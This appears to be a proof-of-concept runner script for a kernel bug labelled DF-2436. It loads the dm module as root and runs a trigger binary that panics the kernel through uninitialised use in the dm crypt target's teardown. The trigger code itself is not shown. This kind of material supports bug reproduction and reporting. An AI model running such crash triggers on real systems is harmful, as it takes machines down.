DF-2436 / run.sh
#!/bin/sh # Run DF-2436 PoC. Must be run as root (or operator-group) after `kldload dm`. # On the BUGGY kernel this triggers a panic in mpipe_done() during # dm_target_crypt_destroy() -> ssh will die and boot.log captures the panic. cd "$(dirname "$0")" echo "[*] kldload dm + dm_target_crypt (root)..." kldload dm 2>/dev/null || echo "[*] dm already loaded" echo "[*] running uninit-use trigger..." ./dm_crypt_uninit echo "RUN_EXIT=$?" |